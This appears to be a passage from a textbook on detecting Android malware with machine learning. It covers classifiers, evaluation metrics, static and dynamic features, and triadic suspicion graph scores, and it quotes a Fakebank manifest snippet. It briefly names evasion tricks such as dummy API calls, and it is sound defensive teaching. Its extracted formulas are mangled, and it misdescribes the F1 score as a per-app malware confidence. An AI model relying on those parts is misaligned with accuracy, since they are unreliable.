instrument is to randomly select some number of subsets from the train
ing set. The second is to randomly select a subset of the features. There is
typically no requirement for constructing these subsets other than that the
size of each be some percentage of the size of the original training set–for
example, 65 or 80 percent. A weak learner is then separately and indepen
dently trained on each subset to yield a class label. The class of a new app is
declared to be the class predicted by the majority of the weak learners.
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Bagging does not require the weak learner to be a decision tree; it
could be any type of classifier. On the other hand, random forest classifiers
assume that the weak learner is a decision tree. For each of the subsets dis
cussed earlier, a decision tree is constructed, and at every node in any of the
decision trees involved, a given set of attributes is deemed active. These ac
tive attributes are those that haven’t been used in the path from the decision
tree’s root to that node. A random subset of active attributes is then selected
at each node, and the best splitting condition is selected from the conditions
definable by the active attributes only; inactive attributes are not considered,
even if they provide a better Gini result. Each decision tree then generates a
label, as before, and the class that gets more “votes” ends up being the class
assigned to a given app.

Support Vector Machines
A support vector machine (SVM) algorithm tries to find a hyperplane that
splits the feature space into two in such a way that the feature vectors asso
ciated with one class (in our case, malware) primarily lie on one side of the
hyperplane and the feature vectors associated with the other (goodware) lie
on the other side. We showed two such hyperplanes in Figure 52. In a two
dimensional feature space, a hyperplane is just a straight line. However, a
hyperplane could also be a quadratic line or even a sine curve.

A linear SVM uses only straight lines as separators. In higher dimen
sions, a linear hyperplane has the following form:

a1x1 + a2x2 + . . . + anxn = b

Here, x1, . . . , xn represent the n features and a1, . . . , an and b are constants.
Such a hyperplane divides the feature space into two parts: one part that
satisfies a1x1 + a2x2 + . . . + anxn ≥ b and another part that satisfies a1x1 +
a2x2 + . . . + anxn ≤ b. The idea is that most malware will lie in one of these
two parts and most goodware in the other. Implementers must decide what
to do with apps whose feature vectors lie directly on the separating line.

To find a good separating hyperplane in a linear SVM, we usually con
sider two major factors: homogeneity of the feature vectors on either side of
the hyperplane, and avoidance of feature vectors that lie close to the hyper
plane. In terms of homogeneity, we want most of the app feature vectors on
one side of the separator to be malware and most of the feature vectors on
the other side to be goodware. For example, recall the horizontal separation
in Figure 52, where we classified a new app by merely counting the number
of calls it made to classes in a certain package: if that number was greater
than 3,000, we classified the app as goodware, and otherwise we classified it
as malware. Of course, this is a highly simplified example. In the real world,
the implementation would consider many more features, and the separator
line’s equation would likely be far more complex.

The second major factor in SVM design concerns feature vectors that
lie very close to the separator line, like the malware specimen represented as
a cross on the right side of Figure 52, just below both separator lines. How
certain can we be that such samples are correctly classified? To increase the
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distance between feature vectors and the separator line, we make use of sup
port vectors, which are feature vectors in the training set that are as close to
the separator line as possible. The distance between a separator line and its
support vectors is called the margin. SVMs try to find the nearest separator
line that maximizes the margin, reflecting the intuition that we do not want
training points that are too close to the edge.

The goals of maximizing the margin and minimizing classification
errors often conflict. As a consequence, we usually formulate the problem
of finding the best separator line as an optimization problem. We won’t
go into the mathematical details of SVMs in this chapter, but the interested
reader can find more information in “SupportVector Networks” by Corinna
Cortes and Vladimir Vapnik and “Improving the Accuracy and Speed of
Support Vector Machines” by Christopher J. Burges and Bernhard Schölkopf.

There are also many nonlinear versions of SVMs. For instance, quadratic
SVMs allow the separator hyperplane to take the form of a quadratic curve
and tackle a more complex distribution of feature vectors. Other kinds of
SVMs use kernel tricks, which map the original feature vector to a new fea
ture vector. The mapping usually involves a nonlinear method. When we
apply a linear SVM to this nonlinear transformation, it yields a nonlinear
separator for the original data. As a consequence, the resulting separators
can have unusual shapes. For example, Figure 55 shows a modified training
dataset in part (a) that is similar to the training set visualizations shown ear
lier in this chapter. Parts (b), (c), and (d) show the separators generated by
SVMs using different kinds of kernels.

Figure 5-5: Sample nonlinear SVM separators generated with kernels for a training set
(a) with malware feature vectors (crosses) and goodware feature vectors (dots), (b) SVM
separator using a polynomial kernel, (c) SVM separator using a quadratic kernel, and (d)
SVM separator using a radial basis kernel
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Notice that the generated regions are not as easy to describe as those
using linear separators.

k-Nearest Neighbors
A knearest neighbor classifier is very simple. It doesn’t really “learn” a
model. It takes the feature vector of an app that it has never seen before,
identifies the k feature vectors in the training data that are closest to the
app’s feature vector using some distance metric (for example, Euclidean dis
tance or cosine distance), and then finds the classes of those k apps. If more
than half of the k apps are malware, it declares the app to be malware, too;
otherwise it declares it to be goodware. For instance, consider the two apps,
A1 and A2, shown in Figure 56.

Figure 5-6: A sample k-nearest neighbor classifier with k = 3

Suppose we consider the three nearest neighbors (in other words, k = 3).
In the case of A1, two of the three nearest neighbors are goodware, so app
A1 would be considered goodware. However, in the case of A2, two of the
three nearest neighbors are classified as malware; hence, this app would also
be classified as malware.

Naive Bayes
Naive Bayes classifiers use a very different kind of intuition than the preced
ing classifier types. They learn a set of simple probabilities from the training
data, then use these probabilities later to classify new feature vectors.

To classify apps as goodware or malware, a naive Bayes classifier may
compute what we call classconditional probabilities. For a given class (in
our case, either goodware or malware), we could use the training set to de
rive the classconditional probability that a feature vector’s ith feature has a
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certain value given that the app belongs to a specific class. Consider the
small training set shown in Table 52.

Features A and B represent calls to APIPackage:android.app and
Opcode:ifeq, respectively. The probabilities P(A = 10|0) and P(A = 10|1)
are the classconditional probabilities of the attribute A having the value 10
when the classes are 0 and 1, respectively. Using the training set, we can see
that P(A = 10|0) is 0.2, because 2 of the 10 goodware apps in the training
set have a value of 10 for A. P(A = 10|1) is also 0.2. In contrast, P(A = 3|0)
equals 0, while P(A = 3|1) equals 0.3.

Table 5-2: Sample Training Set
A B App ID Class
3 0 app1 1
3 0 app2 1
5 0 app3 1
12 0 app4 1
3 0 app5 1
10 2 app6 1
10 1 1pp7 1
72 82 app8 1
72 24 app9 1
30 10 app10 1
0 0 app11 0
0 0 app12 0
0 0 app13 0
0 0 app14 0
0 0 app15 0
10 1 app16 0
10 1 app17 0
72 190 app18 0
72 190 app19 0
30 144 app20 0

A naive Bayes classifier might also calculate the prior probability of each
class, which is simply the probability of a random app in the training set be
longing to that class. In our small training set, these prior probabilities are
0.5 for each of the two classes, as the data has 10 goodware samples and
10 malware samples in it. Given a new app a with an associated feature vec
tor consisting of values fa = (v1, . . . , vn), naive Bayes computes the probabil
ity of this app belonging to class c via the Bayes rule, as follows:

P(c|fa) =
P(fa|c) × P(c)

P(fa)

In plain English, this says that the probability of the app a belonging to
the class c is the probability of a’s feature vector being generated by class c
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times the prior probability of class c divided by the prior probability of the
feature vector of app a.

To determine the class of a new app a with the feature vector fa, naive
Bayes would find the class c for which P(c|fa) is maximal across all possi
ble classes. The result is the same as finding the class c such that P(fa|c) ×
P(c) is maximal, as the denominator of the probability formula remains the
same regardless of the class considered. Let us call this product a pseudo
probability. We want to find the class c that maximizes this pseudoprobability.

Now consider a new app a whose feature vector is (3, 1), meaning feature
A equals 3 and B equals 1. Notice that there is no app in the training set with
this feature vector. Naive Bayes computes the probability of seeing the fea
ture vector (3, 1) by making an independence assumption; it assumes that
the probability of seeing the feature vector is the product of the probabil
ity of seeing each component of the feature vector. In formal terms, we can
write this as:

P(fa|c) = Πn
i=1P(f

i
a = vi|c)

Here, P(f ia = vi|c) is the conditional probability that f ia = vi, given that an app
is in class c, and f ia represents the ith component of app a’s feature vector fa.

Returning to the example in Table 52, we see that the pseudoprobabilities
for the feature vector (3, 1) are given by the following:

P((3, 1))|0) = 0 × 0.2

= 0

P((3, 1))|1) = 0.3 × 0.1

= 0.03

As the latter is larger than the former, this particular app with feature vector
(3, 1) is classified as malware.

Naive Bayes classifiers have several problems. Often, especially when the
feature vector is long, the numerator in the product calculation ends up be
ing zero, which results in a probability of zero. A number of variants of naive
Bayes fix such problems by making different types of assumptions about the
way the values in each feature are distributed. For example, Gaussian naive
Bayes assumes they are distributed in accordance with a normal distribution
whose mean and standard deviation are computed from the observed val
ues of the feature in the training data. You can find more information about
naive Bayes classifiers and their different variants in “Discrete Bayesian Net
work Classifiers: A Survey” by Concha Bielza and Pedro Larranaga.

Evaluating Machine Learning Models
Once we’re done training a model, we want to know how well it performs.
Researchers have developed multiple metrics to evaluate machine learning
models. We’ll discuss a few important ones in this section, focusing on bi
nary classifiers.
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For the evaluation results to be useful, we should compute these metrics
using samples that aren’t present in the training data. Having a large, ran
domly sampled evaluation set is key to understanding a classifier’s strengths
and deficiencies. This evaluation set, like the training set, should contain
individual samples, along with labels for each sample. Generally, our evalua
tion should take into account the following:

True positives (TPs) Apps that are predicted by the classifier to be
malware and that are in fact labeled as malware

False positives (FPs) Apps that are predicted by the classifier to be
malware but are in fact labeled as goodware

True negatives (TNs) Apps that are predicted to be goodware and are
labeled as goodware

False negatives (FNs) Apps that are predicted to be goodware but are
labeled as malware

Too many false positives or false negatives indicates poor performance.
Other important statistical metrics to consider are shown in Table 53, which
presents the results of a random forest classifier on a “Goodware vs. Android
Banking Trojans” dataset we’ve collected from a host of online websites. The
following discussion describes those metrics in detail.

Table 5-3: Example Metrics for Evaluating Machine Learning Models
Dataset Classifier Accuracy Precision Recall F1 score AUC
Goodware vs. Banking Trojans RF 0.9908 0.9909 0.9910 0.9910 0.9931

Accuracymeasures how many predictions a classifier got right in the eval
uation set (in other words, the proportion of TPs and TNs with respect to
the total number of predictions). We calculate it as follows:

A = (TP + TN)/(TP + FP + TN + FN)

While accuracy is an intuitive measurement, it has several issues when
applied to the detection of malicious apps. Chief among these is that mal
ware occurs very rarely, so most of the evaluation data is likely to be labeled
as goodware if it is representative of realworld conditions. This means that
a classifier can obtain a very good accuracy rating simply by predicting that
every app is goodware. It isn’t uncommon for less than 1 percent of sam
ples to be malware; in that case, such a classifier would have over 99 percent
accuracy.

Precisionmeasures how accurate our classifier is when it correctly pre
dicts an app to be malware. We calculate it as follows:

P = TP/(TP + FP)

This metric captures the percentage of items predicted to belong to a
class that were actually in the class. However, it does not capture the full
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picture. Let’s consider a set that contains 100 samples, of which 50 are mal
ware. If our classifier predicts that only 1 sample from the set is malware
and that 99 are goodware, it will have 100 percent precision, but it isn’t do
ing a very good job at finding malware.

Recall is a complementary measurement to precision that computes how
many positive samples a classifier misses. We calculate it as follows:

R = TP/(TP + FN)

Recall by itself might not be a good performance indicator, as a classifier
that predicts everything to be malware will achieve 100 percent recall. In
general, we want a classifier to have both good precision and good recall.

One solution is to combine the two. For example, we sometimes calcu
late the F1 score of a classifier, or the harmonic mean of precision and recall.
This value is an attempt to balance the two metrics to identify strong classi
fiers. Most malware classifiers produce an F1 score between 0 and 1, where
0 represents higher confidence that the prediction is goodware and 1 means
that the app is malware.

The receiver operating characteristic (ROC) curve plots the performance of
a classifier at various thresholds to help us pick a good threshold and com
pare different classifiers. A ROC graph has two axes. The true positive rate is
the same as recall, and the false positive rate is calculated as follows:

FPR = FP/(FP + TN)

The area under the ROC curve (AUC) gives an overall measurement of the
classifier across all thresholds. To understand AUC, imagine sorting all the
apps in an evaluation by the classifier’s score. AUC measures the probability
of a randomly selected malware app having a higher score than a randomly
selected goodware app. An ideal classifier would always provide lower scores
to goodware than to malware; such a classifier would have an AUC of 1. A
really bad classifier that does the opposite would have an AUC of 0, and a
random classifier would have an AUC of 0.5. A sample ROC curve for the
decision tree algorithm is shown in Figure 57.

AUC has several advantages: notably, it is invariant to class skew (which
occurs when the number of samples in one class far outnumbers that of the
other class) and independent of specific thresholds. However, it treats both
FPs and FNs equally. This might not be desirable if you want to make sure
that no malware slips through. When you’re trying to protect a store like
Google Play, for example, it’s better to err on the side of caution. That is,
it’s preferable to manually review too many apps, even if they turn out to be
goodware for the most part, than too few. So, you might instead want to pick
a model that treats FPs as more desirable.
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Figure 5-7: The ROC curve for the decision tree classifier

Struggles of Machine Learning Classifiers
In this section, we describe some common pitfalls that can adversely affect
the performance of machine learning classifiers.

Identical Feature Vectors
Some malware identification datasets include apps with identical feature
vectors. This can happen in two broad cases. In the first case, different apps
in the dataset are variants of one another. We call these isomorphic apps. It’s
important to make sure that no app in the training data has corresponding
isomorphic apps in the test data. Otherwise, they will artificially inflate the
performance of the classifier. The second case occurs when the feature set is
impoverished. This is also very serious, because it suggests that the selected
features aren’t adequate enough to distinguish between apps that are truly
different.

Balance vs. Imbalance
Machine learning algorithms generally produce good models when the data
is balanced, meaning it has reasonably comparable percentages of samples in
the different classes. Conversely, some algorithms may struggle to perform
when the data is massively imbalanced.

For instance, suppose we are trying to distinguish between Android spy
ware and goodware. In most general malware datasets available today, the
number of spyware samples will be much smaller than the number of good
ware samples. This may be due to the fact that the dataset was collected to
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distinguish all forms of malware (not just spyware) from goodware. If a clas
sifier is trained to separate spyware from goodware, the number of spyware
samples would be relatively small compared to the number of goodware
samples.

Such imbalances in the class sizes can severely affect the performance
of classification algorithms.

Interpretability
When detecting malware, security analysts must identify compelling evi
dence of an app’s malicious nature. Machine learning algorithms that
return a verdict without providing information regarding why a particular
app was flagged as malicious or benign may be useful for automated pro
tection efforts but not for humansupported analysis. For confirmation, an
analyst needs the algorithm to lead them toward the source of malicious be
havior. Without any such guidance, verifying the algorithm’s verdict by ana
lyzing the training set, the model, and its output becomes the equivalent of a
complete app review and is like finding a needle in a haystack.

For that reason, many malware detection methods use handcrafted
features that enable the analyst to find malicious parts of the code or demon
strate malicious behavior when the code is run. This is also one major rea
son why deep learning methods aren’t always the best option for malware
detection in industry. It is difficult to understand how these machine learn
ing algorithms produce their output.

Cross-Validation vs. Rolling Window Prediction
Many machine learning–based malware detection algorithms have been
evaluated in the literature using kfold crossvalidation, a technique that ran
domly splits the training data into k disjointed pieces, called folds, then per
forms k iterations over the folds. In each iteration, a corresponding fold (for
example, the third fold on the third iteration) is removed and some classifier
of a given type (such as an SVM) learns from all the remaining folds. The
model then makes predictions about the removed fold, and its performance
is computed on that iteration alone using a metric such as the AUC or F1
score, discussed earlier. The technique then makes a final assessment of a
model type (for instance, SVM) by taking an aggregate value of the perfor
mance metric across all k folds.

However, the use of crossvalidation may not always be appropriate, be
cause malware evolves over time and kfold cross validation ignores the time
at which a given app in the training data was first released into the wild. As
a consequence, the folds used during any iteration might include apps that
were released into the wild after some of the apps in the removed fold. In
tuitively, what this means is that we are likely predicting the status of some
apps using information from the future, which can artificially boost the per
formance of the classifier.

In contrast, rolling window prediction sorts the apps a1, . . . , an in the dataset
based on the times at which each app entered the wild. We then assume that
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we need at least j apps for decent training. For each i, such that j < i ≤ n,
we train on the dataset {a1, . . . , aj} and assess the performance P⋆

i of a given
classifier. We consider the overall performance of the classifier to be the
average of the P⋆

i s for i < j ≤ n. This methodology avoids the possibility of
using information from the future to predict the past.

Up Next
This chapter presented an overview of machine learning algorithms that are
widely used in malware analysis and detection. In the next chapter, we ex
plore the features we can use as input to these algorithms.

Though publicly available machine learning libraries are constantly
evolving, you may find it worthwhile to explore the possibilities offered by
the R, scikitlearn, and TensorFlow libraries. You can also find a list of app
hashes, as well as the static and dynamic features described in this and the
next chapter, at https://github.com/androidmalwaremlbook. Use these
libraries to learn the different types of predictive models capable of separat
ing malware from goodware.
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6
MACHINE LEARNING FEATURES

We’ve explored the two kinds of analysis
required to understand an Android app:

static and dynamic. We’ve also seen how a
human security analyst can go back and forth

between static and dynamic analysis to pinpoint the
locations at which dangerous behavior occurs.

However, machine learning algorithms can’t perform the “back and
forth” behavior of a human analyst. Because they can’t choose to explore
one part of the code more than another part, they must associate a feature
vector with each app, regardless of whether it is malicious or benign, and
then use a previously trained model to make a prediction about it. This
means they must determine in advance what to include in the feature
vector.

In this chapter, we first describe how to turn static and dynamic sources
of information into input for machine learning algorithms, enabling us to
scale our malware detection efforts to millions of APKs. Then we explore
four novel types of features that are harder for attackers to evade or reverse
engineer, yet robust enough to detect malware with high accuracy. These de
tection techniques take into account the fact that malware developers often
understand the static and dynamic analysis methods used by security experts
and can apply this knowledge to evade detection.



Static Features
The first class of features we can associate with Android apps is based on a
static analysis of the code. Unlike with data gleaned through humanbased
static analysis, software can easily extract their values. These features are im
mutable, in the sense that once we train a predictive model with a given set
of features, we must stick with them when using the predictive model (how
ever, new features can be added and old features removed when retraining).

There are several files and folders inside an APK whose properties
and content we can turn into machine learning features. One source of fea
tures is the AndroidManifest.xml file that every APK contains in its root direc
tory. As discussed in Chapter 3, the manifest file defines the structure and
metadata of the Android application, including the package name and app
version. It might also include XML nodes that describe the app’s basic be
havior, as well as the permissions requested by the application. Listing 61
shows a snippet from the manifest file of a malware app, Fakebank com.a
(v152, 0add), that references XML nodes.

<receiver android:label="@string/app2"

android:name="com.p004a.p005a.DeAdminReciver"

android:permission="android.permission.BIND_DEVICE_ADMIN"

android:description="@string/app2">

<meta-data android:name="android.app.device_admin"

android:resource="@xml/an"/>

Listing 6-1: XML nodes in the Android manifest associated with the Fakebank app

We might also find features in the Java source code folder. In Java apps,
this folder is part of the original code and is not present in the compiled
APK file. Other folders of interest are Res, lib, and assets. The Res folder con
tains all noncode resources used by the application, such as XML layouts
and images. The lib folder is tricky, as its purpose changes after compila
tion: in Android source code, it’s often used to store common files, utility
classes, and imported dependencies associated with applications, while in
compiled APK files it stores native code files used by the application. The
assets folder might include a wide range of files, such as text, XML, fonts,
music, and video. Another source of features is the build.gradle file, which
includes buildrelated configurations. It is present only during development
and not included in the final APK.

We can define two versions of many features. A binary version of a fea
ture is set to 0 or 1 depending upon whether the feature does or doesn’t
occur. For instance, we might associate a feature with an API function call.
If an app makes at least one call to that API in its code, we’d set the binary
version of the feature to 1; otherwise, we’d set it to 0. A statistical version of
the same feature, on the other hand, might reflect the number of calls the
app makes to the API. Alternatively, it might record the number of times
the API function is invoked with certain inputs and return a statistical quan
tity, such as the mean, median, or standard deviation of the results. The
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following features commonly appear in the literature on machine learning–
based malware detection:

Permissions
We can design a number of features related to the permissions that an
application requests. We might, for example, create a binary feature for
each permission. We could also define statistical features correspond
ing to the number of normal, signature, and dangerous permissions re
quested. According to the official Android developer site, dangerous
permissions are those that either involve the private data of users or
could possibly affect such private user data. For instance, we’ve already
seen that the com.bp.statis.bloodsugar malware discussed in Chapter 3 re
quests the READ_CONTACTS permission even though there is little reason
to believe that a blood sugar monitoring app needs access to a user’s
contacts.

Activities
As discussed in Chapter 3, activities implement the visual interface of an
Android app and are declared in the manifest file. We could create a set
of binary features to indicate whether each activity is used or not. The
total number of activities is also a potential feature.

Services
Apps use services to implement longrunning background operations
that facilitate interactions with the system. As in the case of activities,
we can define binary features indicating whether each service is used or
not. Moreover, we can define simple counts and statistical features. For
instance, in the case of the com.bp.statis.bloodsugar.PE service discussed
in Chapter 3, we might set this value to 1, as there is little reason for a
blood sugar app to listen to incoming notifications from all of the apps
in the system.

Content providers
A content provider encapsulates data and gives it to other applications.
For each content provider, we might have a feature set to 0 if it doesn’t
exist and 1 if it does exist in the app. We can also create a feature for the
number of content providers the app uses.

Broadcast receivers
The broadcast receiver component of an application enables it to re
ceive broadcast messages from the system or other applications. As in
the preceding cases, we can create binary features, counts, and statistical
features for these receivers. However, while it is easy to find broadcast
receivers declared in the manifest file, it is not always easy to find those
declared at runtime, especially as they may be part of encrypted or ob
fuscated code. Moreover, some apps might want to register a RECEIVE_SMS

receiver, which enables them to intercept incoming SMS traffic (for ex
ample, onetime passwords or alerts of suspicious activity).

Machine Learning Features 183



Intent filters
Activities, services, and broadcast receivers can use intent filters to spec
ify the kinds of operations to which they will respond. In the case of
broadcast receivers, intents specify the types of broadcasts that they can
handle. As in the preceding cases, we can define and extract binary fea
tures and statistical features for intents.

API calls
The Android platform provides a set of API packages that developers
can use to build applications. We can create binary features for each API
package (based on whether it is called or not) as well as for each class
within those packages (based on whether the class is called or not). In
addition, numeric features for an API package might track the num
ber of times the app calls a class within a package or a function within
a class. We’ll provide a detailed introduction to API features later in this
chapter, as we can use them to generate more advanced features.

Network elements
An Android application’s source code may contain numerous network
elements, such as IP addresses, URLs, and hostnames. We can collect
these elements to generate binary features and statistical features (for
example, the number of hostnames listed in the file). We may also want
to use the number of external URLs referenced in the code as a feature.

The malware author might try to make static analysis difficult through
a variety of instruments. These could include using unintelligible names for
variables, encrypting parts of the code, and using other obfuscation meth
ods such as reflection (see Chapter 3). We can also define static features to
describe whether such phenomena exist in the app code, as well as their fre
quency of occurrence.

Dynamic Features
We can turn the results of our dynamic analysis into machine learning fea
tures, too. As covered in Chapter 4, dynamic analysis focuses on observed
runtime properties and behavior of applications. Consequently, the features
derived from it describe events that were actually observed rather than the
more speculative features derived from the static analysis of code.

To generate many of these features, we must feed some set of inputs
to the app, such as interactions that the app has with the user (an example
is the monkey command discussed in Chapter 4). We might run the app using
the first input and generate some results, then run it with the second input
and generate more results, continuing the process until we’ve exhausted all
inputs in the set. We can also extract features by analyzing the network traf
fic generated when the app is run through programs such as tcpdump and
Wireshark.

The following dynamic features for the Android platform have been
widely discussed in the literature:
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Services
We can generate dynamic features to record each started service. These
may be binary (based on whether the app starts that service or not) or
numeric (for example, the average number of calls to the service across
the set of inputs). The total number of services started can also be a fea
ture. Additionally, we could associate a sequence of services with a fea
ture by recording whether the app ever invokes that sequence (a binary
feature) or how many times an app invokes it on average across the set
of inputs (a numeric feature).

The DexClassLoader

This is a standard Android API used to load classes from .jar and .apk
files that contain a classes.dex file. Malicious apps frequently use this
API to evade static analysis because it lets them execute code that didn’t
come from the application’s source code (one example is the Xenomorph
malware family discussed in Chapter 4). We could create a feature that
is set to 1 if the app calls DexClassLoader and to 0 otherwise. Additional
features could be defined based on the count of calls, ngram sequences,
and other statistics.

Permissions
We can create binary features that record whether the app invokes
an API that requires some permission, even if the permission doesn’t
appear in the application code itself. Although Android apps must ex
plicitly declare any permissions that they request within the manifest
file, they might try to circumvent this requirement by acquiring per
missions in different ways. One strategy is to use a covert channel, such
as the communication between multiple APKs, to share information.
This behavior poses a challenge to dynamic analysts, as their lab setups
must be able to run multiple interacting apps at the same time. As in the
previous cases, we can also generate statistical features and ngram fea
tures based on permissions. For instance, in the Xenomorph malware,
we would record the fact that it invoked the accessibility API by setting
that value to 1.

Data leaks
An app might sometimes leak a user’s personal data, be it accidentally,
because the app is poorly coded, or intentionally, in an attempt to steal
the data. We can generate features that reflect the leaked content.

Use of cryptography
We can define a feature that tracks whether an app performs any crypto
graphic operations. When an APK executes encryption operations (for
example, to store encrypted files), the sandbox used to run it can track
and record this. We might set a binary feature to 1 if the app generates
any encrypted files during execution and set it to 0 otherwise. We see
this behavior in the Xenomorph app; see the encryptMessage function in
Listing 45, which the app could invoke zero or more times during its
execution in a sandbox environment.
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Network activities
We can use a set of features to keep track of operations that open or
close network sockets by recording the destination host. We might also
create features based on the data received from the network, as well as
the source of the data and any data that the application sends to others
on the network.

Sending SMS messages
When an app sends text messages during its execution phase, we can
record the identity of the recipient and the message’s content to use as
features. We can also count the total number of messages sent during
the execution or define a binary feature that we set to 1 if the app sends
any messages at all.

Phone calls
Malicious Android apps sometimes make phone calls (for example, to
premium rate numbers). In such cases, we can define features to store
the numbers called or use a binary feature to record the fact that some
external numbers were called.

Answered intents
We can capture the intents to which the application responds during its
execution and record these as dynamic features.

Files
We might create features to record the names of any library files that the
app uses. Also, when the application reads or writes to specific files, we
can capture the filename and the content, then generate features based
on these.

Method Call Features (A Weak Tactic)
To go beyond basic static and dynamic data, some researchers have turned
to API method calls as potential features. The Android platform provides a
set of API packages that developers can use to access a host of valuable func
tionality. For example, the android.accessibilityservice package can help users
with disabilities interact with Android devices. However, malware develop
ers can also use it, and they widely abuse it.

Each API package contains a number of classes, and each class has its
own methods that we can use to define new features for our models. To cre
ate features using the 171 API packages in Android API 23, for example, we
might build a 171dimensional feature vector for each Android app to cap
ture the frequency with which that app calls the methods from each pack
age. For instance, if some API package includes 40 methods belonging to
different classes and an app calls each of them twice, the corresponding fea
ture value would be 40 × 2, or 80.

These API feature values can vary greatly. For instance, consider the
171 API feature values associated with a goodware sample called ESPN 6.0.4.
The largest of these feature values is 161,698, while the smallest is 0, pro
ducing a standard deviation of 10,488.26. By contrast, another goodware
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sample, com.hancom.office.editor (v1, 75d1), has 6 as its largest API feature
value and 0 as its smallest, with a standard deviation of only 0.61. You might
have the instinct to normalize feature values to account for this difference,
but normalizing isn’t necessary because good machine learning algorithms
will automatically determine which values of a given feature help create good
separators between malware and goodware.

While you’ll find these APIbased features used in the literature, mal
ware developers can evade them easily. Zhengcuan Cai and Roland Yap
studied 57 Android antivirus tools in their 2016 paper “Inferring the De
tection Logic and Evaluating the Effectiveness of Android AntiVirus Apps.”
They found that malicious hackers can easily uncover the detection logic
in antivirus apps that use static analysis alone, enabling them to evade de
tection. For instance, in this case the developers could include a bunch of
dummy calls to API features in order to change their app’s 171dimensional
feature vector. Likewise, obfuscation methods such as reflection and dy
namic code loading can lower an app’s feature counts. The feature counts of
particularly wellhidden method calls might even drop to zero if static analy
sis doesn’t find those calls (which would be the case if, for instance, the calls
were in an encrypted section of code). For completeness, machine learning
models should include both static and dynamic features of API calls.

By contrast, advanced features, based on techniques like triadic sus
picion graphs, landmarks, feature clustering, and correlation graphs, are
highly effective in identifying malicious Android apps. Experiments have
shown that such features are harder for malicious hackers to evade, in part
because it is hard for them to determine exactly how these features are used
in a detection system. The remainder of this chapter introduces these ad
vanced features.

Triadic Suspicion Graph Features
Rather than using API method calls on their own, we can generate a more
robust group of features derived from a special class of graphs called tri
adic suspicion graphs (TSGs). Essentially, a TSG aims to understand the dif
ferences between the use of an API package by goodware on the one hand
and different types of malicious apps on the other hand. Figure 61 is an
illustration of a TSG that compares goodware to banking trojans. We’ll walk
through its elements in the paragraphs that follow.

A TSG is made up of vertices connected by edges. In this context, the
TSG contains three kinds of vertices: the complete set of API package calls
defined in the Android API, the sampled goodware, and the sampled mal
ware, randomly drawn from some larger collections of goodware and mal
ware, respectively. The TSG’s edges are defined as follows:

1. For each goodware g and each API package call a, if g calls a method
from a at least once, there is an edge from g to a.

2. For each pair of API package calls a1 and a2, if a1 calls any method
from a2, there is an edge from a1 to a2.
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3. For each malware b and each API package call a, if b calls any method
from a at least once, there is an edge from b to a.

Banking trojans
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Figure 6-1: A partial TSG containing three goodware samples

The goodware and malware collections don’t need to be fixed. An ana
lyst might use one sampling in one week, switch to another in the next week,
and keep doing so regularly in order to present a moving target. Varying the
sets changes the attack surface and makes it harder for an adversary to guess
the precise nature of the defense.

We also suggest keeping the size of the sets relatively small, and varying
it as well. For example, if we had access to 1 million goodware samples and
10,000 malware samples, we might select only, say, 1,000 samples for each
of the groups in the first week, 1,322 in the next week, 1,127 in the third
week, and so forth. Frequently modifying the sample sizes is another way to
keep the attacker in the dark about the nature of the defenses being used;
however, the number of samples in the two sets should be approximately
the same.

Once we’ve determined the vertices and edges in a TSG, we weight
the edges using a weight function. In this context, the weights reflect the
number of times an app calls a corresponding API package’s methods. For
any edge from a goodware or malware app v to an API package a, we use
f(v, a) to denote the number of times v calls methods from a. The follow
ing equations demonstrate five plausible definitions of a weight function w.
Functions w1, w2, and w3, respectively, represent linear, quadratic, and cubic
relationships between the API package call frequency and the edge weight,
while w4 and w5 capture other possible nonlinear relationships:

w1(v, a) = f(v, a)

w2(v, a) = f(v, a)2

w3(v, a) = f(v, a)3

w4(v, a) =
√
f(v, a)

w5(v, a) = ln
(
f(v, a) + 1

)
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Having different definitions is useful because most machine learning
algorithms are very sensitive to the input features and can’t always correctly
infer the most accurate nonlinear relationships between data points using
the modeling framework alone.

We set the weights of edges between pairs of API package calls to the
same default value, 1. This is because we are more interested in whether
a specific edge exists than in the frequency with which one API package
calls another within the Android API, as attackers can’t control these
relationships.

You can see the weighted edges in Figure 61, which uses the function
w1, as well as directional arrows to show the calling relationships among
pairs of API packages. Now you can observe that none of the three good
ware samples call the API package android.app.admin, while two of the three
banking trojans call it a few times. These sorts of patterns might help us
identify malicious apps.

Suspicion Scores
With the TSG defined, we can now calculate the suspicion score of an API
package. In short, we rank an API package that is frequently invoked by mal
ware but not by goodware as more suspicious than one that is frequently
invoked by goodware but not by malware. Suspicion scores alone aren’t
enough to predict whether an Android app is malicious or not, but they do
generate a set of features that might be able to provide good predictive per
formance. Moreover, as the malware developer won’t know the reference
sets and weight functions used to create the TSGs, they can’t easily evade
detection frameworks that use them.

We define 12 possible suspicion scoring functions, sus1 through sus12.
Having multiple candidate functions ensures that we are less prone to over
fitting a predefined model. When we supply these scores and other features
as input, machine learning techniques can tell us which suspicion scoring
function is best able to differentiate benign apps from malicious ones. You
might notice that the function definitions, shown next, are closely related to
the weight functions w1 through w5:

sus1(aj) =

∑n
i=1 I(bi, aj)

n∑n
i=1 I(bi, aj)

n
+

∑m
i=1 I(gi, aj)

m

sus2(aj) =

∑n
i=1 f(bi, aj)

n∑n
i=1 f(bi, aj)

n
+

∑m
i=1 f(gi, aj)

m
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sus3(aj) =

∑n
i=1 f(bi, aj)

2

n∑n
i=1 f(bi, aj)

2

n
+

∑m
i=1 f(gi, aj)

2

m

sus4(aj) =

∑n
i=1 f(bi, aj)

3

n∑n
i=1 f(bi, aj)

3

n
+

∑m
i=1 f(gi, aj)

3

m

sus5(aj) =

∑n
i=1

√
f(bi, aj)

n∑n
i=1

√
f(bi, aj)

n
+

∑m
i=1

√
f(gi, aj)

m

sus6(aj) =

∑n
i=1 ln (f(bi, aj) + 1)

n∑n
i=1 ln (f(bi, aj) + 1)

n
+

∑m
i=1 ln (f(gi, aj) + 1)

m

sus7(aj) =

∑n
i=1 I(bi, aj)∑

aj
∑n

i=1 I(bi, aj)∑n
i=1 I(bi, aj)∑

aj
∑n

i=1 I(bi, aj)
+

∑m
i=1 I(gi, aj)∑

aj
∑m

i=1 I(gi, aj)

sus8(aj) =

∑n
i=1 f(bi, aj)∑

aj
∑n

i=1 f(bi, aj)∑n
i=1 f(bi, aj)∑

aj
∑n

i=1 f(bi, aj)
+

∑m
i=1 f(gi, aj)∑

aj
∑m

i=1 f(gi, aj)

sus9(aj) =

∑n
i=1 f(bi, aj)

2∑
aj

∑n
i=1 f(bi, aj)2∑n

i=1 f(bi, aj)
2∑

aj
∑n

i=1 f(bi, aj)2
+

∑m
i=1 f(gi, aj)

2∑
aj

∑m
i=1 f(gi, aj)2
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sus10(aj) =

∑n
